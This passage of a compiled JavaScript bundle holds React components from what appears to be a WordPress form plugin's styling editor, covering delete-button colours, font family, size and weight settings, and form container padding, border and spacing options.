function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var FileDeleteButtonColors = function (_Component) {
	_inherits(FileDeleteButtonColors, _Component);

	function FileDeleteButtonColors(props) {
		_classCallCheck(this, FileDeleteButtonColors);

		return _possibleConstructorReturn(this, (FileDeleteButtonColors.__proto__ || Object.getPrototypeOf(FileDeleteButtonColors)).call(this, props));
	}

	_createClass(FileDeleteButtonColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_tabs2.default,
				{
					'default': 'default',
					type: 'tabs',
					extraClass: 'sui-tabs-flushed'
				},
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Default'),
						value: 'default'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#00000000"),
						property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-delete-background-static',
						label: (0, _utils.translate)('Background color'),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
						property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-delete-color-static',
						label: (0, _utils.translate)('Icon color')
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Hover'),
						value: 'hover'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#F9E4E8"),
						property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-delete-background-hover',
						label: (0, _utils.translate)('Background color'),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
						property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-delete-color-hover',
						label: (0, _utils.translate)('Icon color')
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Focus'),
						value: 'focus'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#F9E4E8"),
						property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-delete-background-active',
						label: (0, _utils.translate)('Background color'),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
						property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-delete-color-active',
						label: (0, _utils.translate)('Icon color')
					}))
				)
			);
		}
	}]);

	return FileDeleteButtonColors;
}(_react.Component);

exports.default = FileDeleteButtonColors;

/***/ }),
/* 288 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

var _radioTabs = __webpack_require__(7);

var _radioTabs2 = _interopRequireDefault(_radioTabs);

var _accordion = __webpack_require__(35);

var _accordion2 = _interopRequireDefault(_accordion);

var _empty = __webpack_require__(12);

var _empty2 = _interopRequireDefault(_empty);

var _fonts = __webpack_require__(289);

var _fonts2 = _interopRequireDefault(_fonts);

var _settingsRow = __webpack_require__(16);

var _settingsRow2 = _interopRequireDefault(_settingsRow);

var _tabs = __webpack_require__(10);

var _tabs2 = _interopRequireDefault(_tabs);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var Fonts = function (_Component) {
	_inherits(Fonts, _Component);

	function Fonts(props) {
		_classCallCheck(this, Fonts);

		return _possibleConstructorReturn(this, (Fonts.__proto__ || Object.getPrototypeOf(Fonts)).call(this, props));
	}

	_createClass(Fonts, [{
		key: 'render',
		value: function render() {
			var hasPagination = (0, _utils.hasFieldType)('page-break', this.props.wrappers);

			var hasSection = (0, _utils.hasFieldType)('section', this.props.wrappers);

			var hasSingleRadio = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'radio', 'value_type', 'radio');

			var hasSingleDropdown = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'select', 'value_type', 'single');

			var hasMultiCheckbox = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'checkbox', 'value_type', 'checkbox');

			var hasMultiSelect = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'select', 'value_type', 'multiselect');

			var hasDatePicker = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'date', 'field_type', 'picker');

			var hasDateDropdown = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'date', 'field_type', 'select');

			var hasTimeDropdown = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'time', 'field_type', 'select') || (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'time', 'time_type', 'twelve');

			var hasAddresCountry = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'address', 'address_country', 'true');

			var hasNamePrefix = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'name', 'prefix', 'true');

			var hasGDPR = (0, _utils.hasFieldType)('gdprcheckbox', this.props.wrappers);

			var hasCurrency = (0, _utils.hasFieldType)('currency', this.props.wrappers);

			var hasSingleUpload = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'upload', 'file-type', 'single') || (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'postdata', 'post_image', 'false');

			var hasMultiUpload = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'upload', 'file-type', 'multiple');

			var hasESign = (0, _utils.hasFieldType)('signature', this.props.wrappers);

			var hasCalculation = (0, _utils.hasFieldType)('calculation', this.props.wrappers);

			var hasGroup = (0, _utils.hasFieldType)('group', this.props.wrappers);

			var isPreset = !_.isUndefined(this.props.preset);

			var hasPaginationHeader = _.isUndefined(this.props.settings.paginationData) || _.isUndefined(this.props.settings.paginationData['pagination-header-design']) ? '' : this.props.settings.paginationData['pagination-header-design'];

			var paginationHeader = _.isUndefined(this.props.settings.paginationData) || _.isUndefined(this.props.settings.paginationData['pagination-header']) ? '' : this.props.settings.paginationData['pagination-header'];

			return _react2.default.createElement(
				_settingsRow2.default,
				{
					label: (0, _utils.translate)('Fonts'),
					description: (0, _utils.translate)('By default this form will inherit the fonts your theme uses. ' + 'You can overwrite these fonts with custom ones from ' + '{{link}}Bunny Fonts{{/link}}.', {
						components: {
							link: _react2.default.createElement('a', { href: 'https://fonts.bunny.net/about', target: '_blank' })
						}
					})
				},
				_react2.default.createElement(
					_radioTabs2.default,
					_extends({}, this.props, {
						property: 'form-font-family',
						'default': ''
					}),
					_react2.default.createElement(
						_empty2.default,
						{
							value: ''
						},
						(0, _utils.translate)('Use Theme Fonts')
					),
					_react2.default.createElement(
						_container2.default,
						{
							value: 'custom',
							label: (0, _utils.translate)('Custom')
						},
						_react2.default.createElement(
							'div',
							{ className: 'sui-accordion' },
							_react2.default.createElement(
								_accordion2.default,
								_extends({}, this.props, {
									label: (0, _utils.translate)('Response Message')
								}),
								_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
									prefix: 'cform-response',
									defaultSize: '15',
									defaultFont: 'custom',
									defaultCustom: 'inherit',
									defaultWeight: '400'
								}))
							),
							(isPreset || hasPagination && hasPaginationHeader === 'show' && paginationHeader === 'nav') && _react2.default.createElement(
								_accordion2.default,
								_extends({}, this.props, {
									label: (0, _utils.translate)('Pagination Steps')
								}),
								_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
									prefix: 'cform-timeline',
									defaultSize: '12',
									defaultFont: 'custom',
									defaultCustom: 'inherit',
									defaultWeight: '500'
								}))
							),
							(isPreset || hasPagination && hasPaginationHeader === 'show' && paginationHeader === 'bar') && _react2.default.createElement(
								_accordion2.default,
								_extends({}, this.props, {
									label: (0, _utils.translate)('Pagination Progress Bar')
								}),
								_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
									prefix: 'cform-progress',
									defaultSize: '12',
									defaultFont: 'custom',
									defaultCustom: 'inherit',
									defaultWeight: '500'
								}))
							),
							_react2.default.createElement(
								_accordion2.default,
								_extends({}, this.props, {
									label: (0, _utils.translate)('Fields Label')
								}),
								_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
									prefix: 'cform-label',
									defaultSize: '13',
									defaultFont: 'custom',
									defaultCustom: 'inherit',
									defaultWeight: '700'
								}))
							),
							_react2.default.createElement(
								_accordion2.default,
								_extends({}, this.props, {
									label: (0, _utils.translate)('Fields Description')
								}),
								_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
									prefix: 'cform-description',
									defaultSize: '12',
									defaultFont: 'custom',
									defaultCustom: 'inherit',
									defaultWeight: '400'
								}))
							),
							_react2.default.createElement(
								_accordion2.default,
								_extends({}, this.props, {
									label: (0, _utils.translate)('Fields Error Message')
								}),
								_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
									prefix: 'cform-validation',
									defaultSize: '12',
									defaultFont: 'custom',
									defaultCustom: 'inherit',
									defaultWeight: '500'
								}))
							),
							hasSection && _react2.default.createElement(
								_react2.default.Fragment,
								null,
								_react2.default.createElement(
									_accordion2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('Section Title')
									}),
									_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
										prefix: 'cform-title',
										defaultSize: '45',
										defaultFont: 'custom',
										defaultCustom: 'inherit',
										defaultWeight: '400'
									}))
								),
								_react2.default.createElement(
									_accordion2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('Section Subtitle')
									}),
									_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
										prefix: 'cform-subtitle',
										defaultSize: '18',
										defaultFont: 'custom',
										defaultCustom: 'inherit',
										defaultWeight: '400'
									}))
								)
							),
							_react2.default.createElement(
								_accordion2.default,
								_extends({}, this.props, {
									label: (0, _utils.translate)('Input and Textarea')
								}),
								_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
									prefix: 'cform-input',
									defaultSize: '16',
									defaultFont: 'Roboto',
									defaultWeight: '400'
								}))
							),
							hasCalculation && _react2.default.createElement(
								_accordion2.default,
								_extends({}, this.props, {
									label: (0, _utils.translate)('Input Prefix')
								}),
								_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
									prefix: 'cform-input-prefix',
									defaultSize: '16',
									defaultFont: 'custom',
									defaultCustom: 'inherit',
									defaultWeight: '500'
								}))
							),
							(hasCurrency || hasCalculation) && _react2.default.createElement(
								_accordion2.default,
								_extends({}, this.props, {
									label: (0, _utils.translate)('Input Suffix')
								}),
								_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
									prefix: 'cform-input-suffix',
									defaultSize: '16',
									defaultFont: 'custom',
									defaultCustom: 'inherit',
									defaultWeight: '500'
								}))
							),
							(hasMultiCheckbox || hasSingleRadio || hasGDPR) && _react2.default.createElement(
								_accordion2.default,
								_extends({}, this.props, {
									label: (0, _utils.translate)('Radio and Checkbox')
								}),
								_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
									prefix: 'cform-radio',
									defaultSize: '14',
									defaultFont: 'custom',
									defaultCustom: 'inherit',
									defaultWeight: '400'
								}))
							),
							(hasSingleDropdown || hasDateDropdown || hasTimeDropdown || hasAddresCountry || hasNamePrefix) && _react2.default.createElement(
								_react2.default.Fragment,
								null,
								_react2.default.createElement(
									_accordion2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('Select')
									}),
									_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
										prefix: 'cform-select',
										defaultSize: '16',
										defaultFont: 'custom',
										defaultCustom: 'inherit',
										defaultWeight: '400'
									}))
								),
								_react2.default.createElement(
									_accordion2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('Dropdown')
									}),
									_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
										prefix: 'cform-dropdown',
										defaultSize: '16',
										defaultFont: 'custom',
										defaultCustom: 'inherit',
										defaultWeight: '400'
									}))
								)
							),
							hasDatePicker && _react2.default.createElement(
								_accordion2.default,
								_extends({}, this.props, {
									label: (0, _utils.translate)('Calendar')
								}),
								_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
									prefix: 'cform-calendar',
									defaultFont: 'custom',
									defaultCustom: 'inherit',
									familyOnly: true
								}))
							),
							hasMultiSelect && _react2.default.createElement(
								_accordion2.default,
								_extends({}, this.props, {
									label: (0, _utils.translate)('Multi Select')
								}),
								_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
									prefix: 'cform-multiselect',
									defaultSize: '16',
									defaultFont: 'custom',
									defaultCustom: 'inherit',
									defaultWeight: '400'
								}))
							),
							hasSingleUpload && _react2.default.createElement(
								_accordion2.default,
								_extends({}, this.props, {
									label: (0, _utils.translate)('Single File Upload')
								}),
								_react2.default.createElement(
									_tabs2.default,
									_extends({}, this.props, {
										type: 'tabs',
										'default': 'upload-single-button',
										extraClass: 'sui-tabs-flushed'
									}),
									_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
										value: 'upload-single-button',
										label: (0, _utils.translate)('Upload Button'),
										prefix: 'upload-single-button',
										defaultSize: '14',
										defaultFont: 'custom',
										defaultCustom: 'inherit',
										defaultWeight: '700'
									})),
									_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
										value: 'upload-single-text',
										label: (0, _utils.translate)('File Name'),
										prefix: 'upload-single-text',
										defaultSize: '12',
										defaultFont: 'custom',
										defaultCustom: 'inherit',
										defaultWeight: '700'
									}))
								)
							),
							hasMultiUpload && _react2.default.createElement(
								_accordion2.default,
								_extends({}, this.props, {
									label: (0, _utils.translate)('Multiple Files Upload')
								}),
								_react2.default.createElement(
									_tabs2.default,
									_extends({}, this.props, {
										type: 'tabs',
										'default': 'upload-multiple-panel',
										extraClass: 'sui-tabs-flushed'
									}),
									_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
										value: 'upload-multiple-panel',
										label: (0, _utils.translate)('Upload Panel'),
										prefix: 'upload-multiple-panel',
										defaultSize: '13',
										defaultFont: 'custom',
										defaultCustom: 'inherit',
										defaultWeight: '400'
									})),
									_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
										value: 'upload-multiple-file-name',
										label: (0, _utils.translate)('File Name'),
										prefix: 'upload-multiple-file-name',
										defaultSize: '13',
										defaultFont: 'custom',
										defaultCustom: 'inherit',
										defaultWeight: '500'
									})),
									_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
										value: 'upload-multiple-file-size',
										label: (0, _utils.translate)('File Size'),
										prefix: 'upload-multiple-file-size',
										defaultSize: '12',
										defaultFont: 'custom',
										defaultCustom: 'inherit',
										defaultWeight: '500'
									}))
								)
							),
							hasESign && _react2.default.createElement(
								_accordion2.default,
								_extends({}, this.props, {
									label: (0, _utils.translate)('E-Signature Placeholder')
								}),
								_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
									prefix: 'cform-esign-placeholder',
									defaultSize: '16',
									defaultFont: 'custom',
									defaultCustom: 'inherit',
									defaultWeight: '400'
								}))
							),
							hasGroup && _react2.default.createElement(
								_accordion2.default,
								_extends({}, this.props, {
									label: (0, _utils.translate)('Repeater Button')
								}),
								_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
									prefix: 'cform-repeater-button',
									defaultSize: '12',
									defaultFont: 'Roboto',
									defaultWeight: '500'
								}))
							),
							hasPagination && _react2.default.createElement(
								_accordion2.default,
								_extends({}, this.props, {
									label: (0, _utils.translate)('Pagination Buttons')
								}),
								_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
									prefix: 'cform-pagination-buttons',
									defaultSize: '14',
									defaultFont: 'custom',
									defaultCustom: 'inherit',
									defaultWeight: '500'
								}))
							),
							_react2.default.createElement(
								_accordion2.default,
								_extends({}, this.props, {
									label: (0, _utils.translate)('Submit Button')
								}),
								_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
									prefix: 'cform-button',
									defaultSize: '14',
									defaultFont: 'custom',
									defaultCustom: 'inherit',
									defaultWeight: '500'
								}))
							)
						)
					)
				)
			);
		}
	}]);

	return Fonts;
}(_react.Component);

exports.default = Fonts;

/***/ }),
/* 289 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _row = __webpack_require__(8);

var _row2 = _interopRequireDefault(_row);

var _col = __webpack_require__(5);

var _col2 = _interopRequireDefault(_col);

var _input = __webpack_require__(3);

var _input2 = _interopRequireDefault(_input);

var _suiSelect = __webpack_require__(17);

var _suiSelect2 = _interopRequireDefault(_suiSelect);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var SuFontSettingsiSelect = function (_Component) {
	_inherits(SuFontSettingsiSelect, _Component);

	function SuFontSettingsiSelect(props) {
		_classCallCheck(this, SuFontSettingsiSelect);

		return _possibleConstructorReturn(this, (SuFontSettingsiSelect.__proto__ || Object.getPrototypeOf(SuFontSettingsiSelect)).call(this, props));
	}

	_createClass(SuFontSettingsiSelect, [{
		key: 'backwardsCompat',
		value: function backwardsCompat(variant, variants) {
			if (!_.contains(variants, variant)) {
				variants.push(variant);
			}

			return variants;
		}
	}, {
		key: 'render',
		value: function render() {
			var prefixTheme = (0, _utils.getThemePrefix)(this.props);
			var prefix = prefixTheme + this.props.prefix;

			var defaultFont = 'basic-' === prefixTheme ? '' : this.props.defaultFont;
			var font = !_.isUndefined(this.props.settings[prefix + '-font-family']) ? this.props.settings[prefix + '-font-family'] : defaultFont;

			var fcus = !_.isUndefined(this.props.settings[prefix + '-custom-family']) ? this.props.settings[prefix + '-custom-family'] : this.props.defaultCustom;

			var defaultWeight = 'basic-' === prefixTheme ? '' : this.props.defaultWeight;
			var variant = !_.isUndefined(this.props.settings[prefix + '-font-weight']) ? this.props.settings[prefix + '-font-weight'] : defaultWeight;

			var defaultSize = 'basic-' === prefixTheme ? '' : this.props.defaultSize;
			var size = !_.isUndefined(this.props.settings[prefix + '-font-size']) ? this.props.settings[prefix + '-font-size'] : defaultSize;

			var fontVariants = (0, _utils.getFontVariants)(font, window.forminatorFonts);

			var variants = this.backwardsCompat(variant, fontVariants);

			return _react2.default.createElement(
				_react2.default.Fragment,
				null,
				_react2.default.createElement(
					_row2.default,
					null,
					_react2.default.createElement(
						_col2.default,
						{ cols: '12' },
						_react2.default.createElement(
							_suiSelect2.default,
							_extends({}, this.props, {
								label: (0, _utils.translate)('Font Family'),
								placeholder: (0, _utils.translate)('Roboto'),
								property: prefix + '-font-family',
								defaultValue: '' + (0, _utils.getDefaultValue)(this.props, font)
							}),
							_.map(window.forminatorFonts, function (fontData) {
								return _react2.default.createElement(
									'option',
									{
										value: fontData.family,
										key: fontData.family
									},
									fontData.family
								);
							}),
							_react2.default.createElement(
								'option',
								{
									value: '',
									key: 'inherit'
								},
								(0, _utils.translate)('inherit')
							),
							_react2.default.createElement(
								'option',
								{
									value: 'custom',
									key: 'custom'
								},
								(0, _utils.translate)('Custom user font')
							)
						),
						font === 'custom' && _react2.default.createElement(_input2.default, _extends({}, this.props, {
							type: 'text',
							property: prefix + '-custom-family',
							defaultValue: '' + (0, _utils.getDefaultValue)(this.props, fcus),
							placeholder: (0, _utils.translate)('E.g., Arial, sans-serif'),
							label: (0, _utils.translate)('Custom font family'),
							prefix: ''
						}))
					)
				),
				!this.props.familyOnly && _react2.default.createElement(
					_row2.default,
					null,
					_react2.default.createElement(
						_col2.default,
						{ cols: '6' },
						_react2.default.createElement(_input2.default, _extends({}, this.props, {
							type: 'number',
							property: prefix + '-font-size',
							defaultValue: '' + (0, _utils.getDefaultValue)(this.props, size),
							placeholder: (0, _utils.translate)('E.g., 16'),
							label: (0, _utils.translate)('Font Size'),
							note: 'in px',
							prefix: ''
						}))
					),
					_react2.default.createElement(
						_col2.default,
						{ cols: '6' },
						_react2.default.createElement(
							_suiSelect2.default,
							_extends({}, this.props, {
								label: (0, _utils.translate)('Font Weight'),
								placeholder: (0, _utils.translate)('Select font weight'),
								property: prefix + '-font-weight',
								defaultValue: '' + (0, _utils.getDefaultValue)(this.props, variant)
							}),
							_react2.default.createElement(
								'option',
								{
									value: '',
									key: 'inherit'
								},
								(0, _utils.translate)('inherit')
							),
							_.map(variants, function (fontVariant) {
								return _react2.default.createElement(
									'option',
									{
										value: fontVariant,
										key: fontVariant
									},
									fontVariant
								);
							})
						)
					)
				)
			);
		}
	}]);

	return SuFontSettingsiSelect;
}(_react.Component);

exports.default = SuFontSettingsiSelect;

/***/ }),
/* 290 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _empty = __webpack_require__(12);

var _empty2 = _interopRequireDefault(_empty);

var _paddingCustom = __webpack_require__(291);

var _paddingCustom2 = _interopRequireDefault(_paddingCustom);

var _borderCustom = __webpack_require__(292);

var _borderCustom2 = _interopRequireDefault(_borderCustom);

var _spacingCustom = __webpack_require__(293);

var _spacingCustom2 = _interopRequireDefault(_spacingCustom);

var _radioTabs = __webpack_require__(7);

var _radioTabs2 = _interopRequireDefault(_radioTabs);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var FormContainer = function (_Component) {
	_inherits(FormContainer, _Component);

	function FormContainer() {
		_classCallCheck(this, FormContainer);

		return _possibleConstructorReturn(this, (FormContainer.__proto__ || Object.getPrototypeOf(FormContainer)).apply(this, arguments));
	}

	_createClass(FormContainer, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				'div',
				{ className: 'sui-box-settings-row' },
				_react2.default.createElement(
					'div',
					{ className: 'sui-box-settings-col-1' },
					_react2.default.createElement(
						'span',
						{ className: 'sui-settings-label' },
						(0, _utils.translate)('Form Container')
					),
					_react2.default.createElement(
						'span',
						{ className: 'sui-description' },
						(0, _utils.translate)("Customize the form container's padding and border.")
					)
				),
				_react2.default.createElement(
					'div',
					{ className: 'sui-box-settings-col-2' },
					_react2.default.createElement(
						_radioTabs2.default,
						_extends({}, this.props, {
							property: 'form-padding',
							settingsLabel: (0, _utils.translate)('Padding'),
							description: (0, _utils.translate)('By default the form will fill the available ' + 'space where you insert it. You can add some ' + 'padding here to better suit your theme.') }),
						_react2.default.createElement(
							_empty2.default,
							{ value: '' },
							(0, _utils.translate)('None')
						),
						_react2.default.createElement(
							_paddingCustom2.default,
							_extends({}, this.props, {
								value: 'custom',
								boxClass: 'sui-tab-boxed' }),
							(0, _utils.translate)('Custom')
						)
					),
					_react2.default.createElement(
						_radioTabs2.default,
						_extends({}, this.props, {
							property: 'form-border',
							settingsLabel: (0, _utils.translate)('Border'),
							description: (0, _utils.translate)('Add an optional border around the form.') }),
						_react2.default.createElement(
							_empty2.default,
							{ value: '' },
							(0, _utils.translate)('None')
						),
						_react2.default.createElement(
							_borderCustom2.default,
							_extends({}, this.props, {
								value: 'custom',
								boxClass: 'sui-tab-boxed' }),
							(0, _utils.translate)('Custom')
						)
					),
					_react2.default.createElement(
						_radioTabs2.default,
						_extends({}, this.props, {
							property: 'fields-style',
							settingsLabel: (0, _utils.translate)('Spacing'),
							'default': 'open',
							description: (0, _utils.translate)('Choose how much spacing you want between each form field.') }),
						_react2.default.createElement(
							_empty2.default,
							{ value: 'open' },
							(0, _utils.translate)('Comfortable')
						),
						_react2.default.createElement(
							_empty2.default,
							{ value: 'enclosed' },
							(0, _utils.translate)('Compact')
						),
						_react2.default.createElement(
							_spacingCustom2.default,
							_extends({}, this.props, {
								value: 'custom',
								boxClass: 'sui-tab-boxed'
							}),
							(0, _utils.translate)('Custom')
						)
					)
				)
			);
		}
	}]);

	return FormContainer;
}(_react.Component);

exports.default = FormContainer;

/***/ }),
/* 291 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _col = __webpack_require__(5);

var _col2 = _interopRequireDefault(_col);

var _input = __webpack_require__(3);

var _input2 = _interopRequireDefault(_input);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

